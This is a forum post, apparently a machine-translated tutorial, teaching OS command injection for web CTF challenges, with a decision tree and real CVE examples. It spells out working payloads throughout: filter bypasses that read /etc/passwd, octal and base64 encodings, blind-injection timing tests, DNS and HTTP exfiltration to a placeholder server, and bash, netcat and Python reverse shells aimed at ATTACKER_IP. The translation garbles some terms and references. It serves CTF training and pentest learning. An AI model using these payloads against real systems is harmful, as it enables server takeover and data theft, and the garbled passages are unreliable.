Command Injection in CTF: find and operate the implementation of OS teams

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
375
Reaction score
605
Deposit
0$
On the Dojo CTF challenge #36 from YesWeHack, members were planted a web form with a ping – a classic entry point for an OS command injection. The filter on the application side missed payload only if it did not have a single Latin letter: regular [a-zA-Z_*^@%+=:,./-] sent the input to the sanitizer at the first coincidence. The solution was ANSI-C notation $'\143\141\164' – octal character codes instead of letters. From hundreds of participants, the Task decided the units.





The problem is not the complexity of vulnerability. The problem is that most players know one payload ; cat flag.txt and lost when it doesn't pass. Next is the full scope of the command injection in CTF: from the first test to the blind injection and bypassing the filters that cut the spaces, letters and special symbols.






Why command injection is dangerous outside the CTF


Command injection (CWE-78, Improper Neutralization of Special Elements used in an OS Command) occurs when the user input enters the system command without neutralizing the special characters. According to OWASP Top 10:2021, injections (A03:2021) — in the top three critical risks of web applications. In CTF, successful operation is a flag. In the production - full server control: reading /etc/shadow (T1552.001), downloading tools through curl or wget (T1105) and fixing in infrastructure. More details in our review pentest web applications.





Three CVEs in Nagios XI — CVE-2021-25296, CVE-2021-25297, CVE-2021-25298 — all with CVSS 8.8 (HIGH); CVE-2021-25297 and CVE-2021-25298 are not classified as CWE-2 All three were actively exploited in the wild and fell into the CISA KEV catalogue. EPSS for CVE-2021-25296 – 0.7154 (top 1% for probability of operation). By mechanics, each of these CVEs is identical to what is found on average web CTF: custom input enters the PHP function exec() through the challenge ping without validation. The difference is on the scale of the consequences.






Search command injection in web CTF vulnerabilities


The first step is to determine which user input reaches the system command. Typical entry points in CTF-draughts:





Ping or availability check forms – input enters ping -c 1 <input>
DNS-lukaps - the input goes into nslookup <input> or dig <input>
File converters — call ffmpeg, convert, pandoc with user arguments
Feedback forms - input hits mail -s "..." -aFrom:<input>


If the tack contains source code, look for calls system(), exec(), shell_exec(), os.system(), subprocess.run() with parameter shell=True, child_process.exec(). According to OWASP OS Command Injection Defense Cheat Sheet, it is these APIs that create the surface of the attack because they cause the shell of the OS as an intermediary. Without source code – test each input parameter (GET, POST, titles, cookies) sequentially by subdividing the command dividers.






Command dividers and substitution operators


Start with the simple – send 127.0.0.1; id and check if there will be uid=... in the reply. No? No? Take alternative dividers.

Each divider behaves differently, and in CTF it is critical. && will execute the second command only if the first success is successful – if ping ends with a mistake due to a non-valid host, payload won't work. || On the contrary, it will work precisely because of a mistake. According to PortSwigger, accommodation & after the injected team (& whoami &) reduces the likelihood that the tail of the original command will interfere with the execution.





Inline-substituted — `id` and $(id) – deserves special attention. The result of the command is framed in a line as a value, and this is the basis for DNS-exfiltration when blind injection (about this below).





Preconditions and restrictions: divider ; works only in Unix-shells (bash, sh, ash, zsh, dash). In Windows cmd.exe - no. Backtick Substitution and $() require a POSIX-compatible interpreter – do not work in cmd.exe, but work in PowerShell through $(). If the input gets inside the single quotes in the original command (e.g. ping -c 1 '<input>'), no divider will work without pre-closing the quotation marks with a symbol '.





[Applicable: CTF (web), external pentest, internal pentest — Unix/Windows depending on operator]






Bypassing command command filters: spaces, letters, special characters


Basic payload does not pass, so there is a filter. There are three types in the CTF: a blacklist of characters, a blacklist of commands and regular expressions. According to MITRE CWE-184 (Incomplete List of Disallowed Inputs), the denylist approach systematically fails because the attacker finds a workaround. This is what makes CTF-dumps with filters interesting – in fact, you break not the application, but the imagination of the filter developer.






Bypassing the filtering of spaces and special characters


The gap is the first symbol to be cut. Six working alternatives:





$IFS – Internal Field Separator variable, by default contains space, tabs and translation of the line. Payload cat${IFS}/etc/passwd or cat$IFS/etc/passwd performs cat /etc/passwd without a single gap.





{cmd,arg} – brace expansion in bash: {cat,/etc/passwd} revealed by the shell in cat /etc/passwd.





< – redirection of input: cat</etc/passwd redirects file content to stdin commands cat. Works only for teams reading stdin (cat, sort, tac, base64), and not for those that expect the way as an argument (e.g. ls).





$'\x20' – ANSI-C space coding: cat$'\x20'/etc/passwd.





Tab symbol – $'\t' or %09 in URL-coding: cat%09/etc/passwd.





$'\x09' – hex-code of tabulation through ANSI-C notation.





Preconditions and restrictions: $IFS works in bash, sh, ash, zsh. Brace expansion {cmd,arg} works in bash and zsh, but does NOT work in dash and sh (POSIX-minimum shell, often used in Debian-based containers). You can check the shell through cat /proc/$$/exe or by the nature of errors in the stderr.





[Applicable: CTF (web), any Unix-based tuck]






Bypass WAF and Black Lists of Commands


Filter blocks command names (cat, ls, whoami) – three directions of circumvention.





Alternative Binarys for Reading Files: Instead of cat - head, tail, tac, nl, sort, strings, xxd, base64. By GTFOBins, even column /etc/passwd or dig -f /etc/passwd They can read the contents of files. I on several CTFs went on tac – it is least often added to the blacklist.





Team name obfuscation through quotes and backlashes: w'h'o'am'i, w"h"o"am"i, \w\h\o\a\m\i. Shell deletes quotes and backlash at the word splitting stage, before the transfer to execve - and the filter on the application side sees a string with quotes and does not recognize the command. It's a technique Command Obfuscation (T1027.010 by MITRE ATT&CK).





Wildcard-bypass through globbing: /???/??t /???/p??s?? can open up a shell in /bin/cat /etc/passwd, but the glob pattern often yields multiple matches (/bin/cut, /etc/apt etc.) - the result depends on the specific file system and requires verification. The symbol ? is replaced by any single symbol.





Reverse line: $(rev<<<'imaohw') - rev unfolding imaohw in whoami. Requires bash or zsh (here-string <<<), does not work in dash/sh. The utility rev may be absent in minimal/busybox images.





Preconditions and restrictions: Qualifying obfuction works in almost all POSIX shells. Wildcard-bypass will not work if the shell is launched with set -f (noglob) or if there are files in the file system that create a false coincidence. Here-string <<< – only bash and zsh.






Bypassing the letter limit: ANSI-C notation and base64


The toughest filter is the prohibition of all Latin letters. This is exactly what YesWeHack’s Dojo CTF #36 met: a regular expression [a-zA-Z_*^@%+=:,./-] sanitaisilo any input with a letter. Solution — ANSI-C notation $'...', allowing you to write a command in eight codes:



# cat = $'\143\141\164'

# /etc/passwd = $'\057\145\164\143\057\160\141\163\163\167\144'

$'\143\141\164' $'\057\145\164\143\057\160\141\163\163\167\144'





Not a single ASCII-letter, and shell performs cat /etc/passwd. The beauty.





Alternative coding: base64 — echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash decodes and performs cat /etc/passwd (T1140). Hex through xxd - bash<<<$(xxd -r -p<<<636174202f6574632f706173737764). printf - $(printf "\x63\x61\x74 \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64").





Preconditions and restrictions: ANSI-C notation $'...' supported in bash, zsh, ksh, ash. In dash and POSIX sh — not supported. Base64-bypass requires base64 from coreutils and bash on the target system. In Alpine Linux, containers (a frequent selection for CTF) ANSI-C works through ash.






Bypass network WAF


In CTF, less often, but in real Pentests, WAF is a constant headache. URL-coding: %26 instead of &, %7c instead of |. Double coding %2526 – works if the WAF decodes %25 in %, and then backend decodes %26 in & (common pattern for reverse-proxy + PHP urldecode()).





CRLF injection %0d%0a as a command separator — it was through the CRLF that CVE-2023-29084 was operated in the ManageEngine ADManager Plus (CVSS 7.2, CWE-77): function CommonUtil.getPowerShellEscapedValue shielded &, |, ;, but passed the carriage return symbols. Payload [content]\r\ncalc.exe bypassed all the protection. EPSS – 0.9817 (top 1%), which confirms the triviality of operation. A classic example: the developer thought about five special symbols, and forgot about the sixth.





[Applicable: CTF with WAF component, external pentest]






Blind command injection: blind injection of commands


Command output is not displayed in the HTTP response – it is a command plus command. According to PortSwigger, many instances of OS injection command are blind. A typical example from CTF: a feedback form where email hits mail -s "feedback" -aFrom:<input> [email protected] – conclusion mail not returned to the user. Three techniques for confirming and operating blind instruction of teams.






Time-based blind injection through delays


Enter a command that creates a measurable delay and measure the response time. & sleep 5 & – delay of 5 seconds on Linux. & ping -c 10 127.0.0.1 & – delay of ~10 seconds (one ICMP packet per second). | timeout 10 Windows. The usual request is returned for 200 ms, with payload - for 5200 ms? The injection is confirmed. Burp Repeater shows the exact response time in the response tab – use.





Preconditions and restrictions: ping -c 10 works on Linux (flag -c setting count), on Windows - ping -n 10. sleep – utility from coreutils, not built-in command bash. There may be no minimum Docker containers (scratch, distroless). If sleep unavailable — python3 -c "import time;time.sleep(10)" or perl -e "sleep 10".






Redirecting the output to the web directory


If the path to webroot is known (often /var/www/html or /var/www/static), redirect the output to the file: & whoami > /var/www/static/out.txt &. Then request https://target.com/out.txt through the browser. The combination File and Directory Discovery (T1083) and System Information Discovery (T1082).





Preconditions and restrictions: the rights of writing in webroot are required. In CTF containers, it usually works – the application is running from the same user as the web server. In production, almost never because of the separation of privileges. The path to webroot can be determined from the Nginx/Apache configuration or through application errors.






Out-of-band exfiltration via DNS and HTTP


The most powerful technique for blind injection of teams. DNS Exfiltration: payload & nslookup $(whoami).your-server.com & turns the result whoami the DNS request subdomain. A request is popped up on your DNS server (or Burp Collaborator) www-data.your-server.com. According to PortSwigger, Burp Collaborator allows you to find blind OS command influence vulnerabilities that cannot be detected by other methods.





HTTP Exfiltration: & curl http://your-server.com/$(cat /etc/hostname) & or & wget -q -O- http://your-server.com/?d=$(id|base64) &.





For CTF: If you do not have your own server, use interactsh ProjectDiscovery is an open-source alternative to Burp Collaborator. Webhook services are also suitable for HTTP requests.





Preconditions and restrictions: the target server must have network access to the DNS server (port 53 UDP) or HTTP server. In isolated CTF environments (air-gapped) OOB does not work — use time-based. nslookup may be absent – replace with dig or host. The length of the DNS tag is limited to 63 characters, the full domain is 253: for long output, use base64 | cut -c1-60 or send in parts.





[Applicable: CTF (web), external pentest – OOB. Internal pentest – DNS exfiltration works even through corporate DNS]






Reverse shell via command injection


The ultimate purpose of operation in CTF is often not just to read the file, but to get an interactive shell (T1059.004, Unix Shell). The flag is hidden in a non-standard place, requires an increase in privileges or is available only to the interactive process - here without a shell anywhere.





Basic bash reverse shell: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. Demands that the bash be compiled with support /dev/tcp – not all distributions include this option (Debian by default – no, Arch – yes).





Netcat without flag -e (Debian netcat-openbsd does not support -e; in Alpine busybox nc can support -e depending on the assembly):



rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f





Python one-liner (almost always available): python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'.





On the side of the attacker is the listener: nc -lvnp 4444.





Preconditions and restrictions: the CTF server must have network access to your IP (reverse connection). On HackTheBox and TryHackMe – through a VPN tunnel. If a direct connection is not possible, bind shell (nc -lvp 4444 -e /bin/sh on the server, you connect.) Some CTF environments block outgoing connections — then the only option is to exfiltrate through DNS or write to webroot. If you have a filter for special characters, the reverse shell payload also needs to be encoded: echo "base64_encoded_shell" | base64 -d | bash.





[Applicable: CTF, internal pentest. For external – reverse shell is often blocked by egress filtering]






Algorithm of operation: solution tree for CTF


Requirements for the environment: Burp Suite Community/Pro to intercept requests and timeting measurement, netcat or nc on your machine for catching reverse shell, optional – Burp Collaborator or interactsh for OOB.





Found a potential injection point – act on the steps:





Basic test – send ; id or | id. If in the answer uid=... – injection confirmed, read the flag
No output — check blind – send & sleep 5 &, measure the delay. Plus 5 seconds – slid injection confirmed
Dividers do not work — inline-backing – try $(sleep 5) or `sleep 5`
Input in quotes – close the quote: '; sleep 5; ' or "; sleep 5; "
The gaps are filtered – replace with $IFS, %09, {cmd,arg}
The teams are filtered – obfuscation (w'h'o'am'i) or alternative binarys (head instead of cat)
All letters are filtered – ANSI-C notation $'\143\141\164' or base64
No conclusion, no delay – OOB through $(nslookup $(id).your-server.com) or $(curl http://your-server.com/?d=$(id))
Confirmed execution — you need shells — reverse shell through netcat or Python one-liner
Shell won’t connect — check egress filtering, try bind shell or webroot output record


This algorithm covers the vast majority of web CTFs of tasks with command injection.






Real CVE: implementation of OS commands in production systems


CTF skills are directly transferred to real vulnerabilities. Here are some examples with verified data.





Nagios XI (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298) – three OS command injection vulnerabilities in the xi-5.7.5 version, each via a separate conf igwizard PHP file. CVSS 8.8 (HIGH) in all three, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/CH/I:H/A:H — network operation, with low privileges, without user interaction. All three are entered in the CISA KEV catalog (added 2022-01-18), the SSVC Act solution is to patch immediately. Exploitation: active, Technical Impact: total. According to PortSwigger and Fastly, CVE-2021-25298 was operated through a call ping the PHP exec() with a custom IP address – one in one as in a CTF-task.





Ivanti Connect Secure (CVE-2024-21887) – command injection in web components (CWE-77), CVSS 9.1 (CRITICAL). Requires administrative privileges (PR:H), but the attackers clung to it with CVE-2023-46805 (bypassing authentication, CVSS 8.2). EPSS 1.0000 is the maximum probability of operation. Entered in CISA KEV, marked as used in ransomware campaigns. There are public Nuclei-templates and PoC repository oways/ivanti-CVE-2024-21887 on GitHub.





Cisco NX-OS (CVE-2024-20399) – command injection in CLI (CWE-78), CVSS 6.0 (MEDIUM). Vector: AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N — local access, administrator rights are needed. Despite the moderate CVSS, entered in CISA KEV (2024-07-02), SSVC decision: decision Act. Exploited in real attacks. Direct illustration: CVSS does not in itself reflect operational risk. The context of operation (CISA KEV, EPSS score 0.0431 — probability ~4.3%, percentage 0.9042 — top 10% among all CVEs) is more important than the basic estimate.





All these CVEs combine one thing – CWE-78 or CWE-77, insufficient neutralization of special characters in user input before transferring to the OS command. The same vulnerability class as in the CTF, only with other consequences.





Most CTF players memorize payload as formulas without output — ; cat flag.txt, | whoami, $(sleep 5) – and are lost when the filter cuts something unforeseen. The reason: a misunderstanding of how shell disassembles the line. Why w'h'o'am'i working? Because single quotes in POSIX shell are literal quoting, and an empty pair '' in the middle of the word does not change his semantics. Why ${IFS} Replacing the gap? Because word splitting in bash uses IFS as a field divider.





Without understanding shell internals – quoting rules, word splitting, globbing, command substitution – you will not collect payload under a non-standard filter and you will endlessly sort through other people’s writeups. After a few dozen CTF tournaments, I was convinced: participants who read man bash section EXPANSION and understood the order of disclosure (brace → tilde → parameter → command → word splitting → pathname), solved pushes with custom filters in minutes. Those who copied from PayloadsAllTheThings were stuck for hours in the same place. If you go to OSCP and need preparation for a web part with the analysis of such chains, WAPT covers this in the first third of the course with the labs for each case.
 
Top Bottom